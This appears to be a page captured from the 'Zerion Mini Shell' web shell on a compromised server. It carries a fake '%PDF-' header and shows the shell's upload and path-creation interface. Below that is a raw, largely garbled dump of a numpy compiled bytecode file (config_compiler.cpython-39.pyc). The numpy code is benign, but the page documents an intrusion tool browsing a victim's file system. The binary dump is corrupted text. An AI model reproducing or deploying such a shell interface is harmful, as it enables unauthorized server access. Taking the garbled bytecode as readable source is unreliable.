%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/distutils/command/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/distutils/command/__pycache__/config_compiler.cpython-39.pyc

a

z[yc�@sFddlmZddlmZd
dd�ZGdd�de�ZGdd	�d	e�ZdS)�)�Command)�logNcCsF|rdS|durg}|�d�ddlm}ddl}|jj}||�dS)N�r)�show_fcompilers)�appendZnumpy.distutils.fcompilerr�distutils.coreZcoreZ_setup_distribution)�_cacherZ	distutilsZdist�r	�M/usr/lib64/python3.9/site-packages/numpy/distutils/command/config_compiler.py�show_fortran_compilerss
rc@sJeZdZdZdZgd�ZdddefgZgd�Zdd	�Z	d
d�Z
dd
�ZdS)�	config_fcz� Distutils command to hold user specified options
    to Fortran compilers.

    config_fc command is used by the FCompiler.customize() method.
    z2specify Fortran 77/Fortran 90 compiler information)
)z
fcompiler=Nzspecify Fortran compiler type)zf77exec=Nzspecify F77 compiler command)zf90exec=Nzspecify F90 compiler command)z	f77flags=Nzspecify F77 compiler flags)z	f90flags=Nzspecify F90 compiler flags)zopt=Nzspecify optimization flags)zarch=Nz0specify architecture specific optimization flags)�debug�gz"compile with debugging information)�nooptNzcompile without optimization)�noarchNz+compile without arch-dependent optimizationzhelp-fcompilerNz list available Fortran compilers)r
rrcCs@d|_d|_d|_d|_d|_d|_d|_d|_d|_d|_	dS�N)
�	fcompilerZf77execZf90execZf77flagsZf90flags�optZarchr
rr��selfr	r	r
�initialize_options/szconfig_fc.initialize_optionscCs�t�d�|�d�}|�d�}|�d�}|�d�}|||||g}dD]�}g}|D]8}t||�}	|	durPt|	t�sv|	j}	|	|vrP|�|	�qP|s�d}
n|d}
t|�dkr�t�	d	||f�|
rD|D]}t||�dur�t
|||
�q�qDdS)
NzTunifing config_fc, config, build_clib, build_ext, build commands --fcompiler options�
build_clib�	build_ext�config�build)rrr�J  commands have different --%s options: %s, using first in list as default�r�infoZget_finalized_command�getattr�
isinstance�strZ
compiler_typer�len�warn�setattr�rrrrrZcmd_list�a�l�c�vZv1r	r	r
�finalize_options;s,






�zconfig_fc.finalize_optionscCsdSrr	rr	r	r
�runRsz
config_fc.run)�__name__�
__module__�__qualname__�__doc__�description�user_optionsrZhelp_optionsZboolean_optionsrr)r*r	r	r	r
rs��rc@s2eZdZdZdZdgZdd�Zdd�Zdd	�Zd
S)�	config_cczN Distutils command to hold user specified options
    to C/C++ compilers.
    z"specify C/C++ compiler information)z	compiler=Nzspecify C/C++ compiler typecCs
d|_dSr�Zcompilerrr	r	r
raszconfig_cc.initialize_optionscCs�t�d�|�d�}|�d�}|�d�}|�d�}|||||g}dD]�}g}|D]8}t||�}	|	durPt|	t�sv|	j}	|	|vrP|�|	�qP|s�d}
n|d}
t|�dkr�t�	d	||f�|
rD|D]}t||�dur�t
|||
�q�qDdS)
NzSunifing config_cc, config, build_clib, build_ext, build commands --compiler optionsrrrrr2rrrrr$r	r	r
r)ds.






�zconfig_cc.finalize_optionscCsdSrr	rr	r	r
r*|sz
config_cc.runN)	r+r,r-r.r/r0rr)r*r	r	r	r
r1Vs�r1)N)rrZnumpy.distutilsrrrr1r	r	r	r
�<module>s
D

Zerion Mini Shell 1.0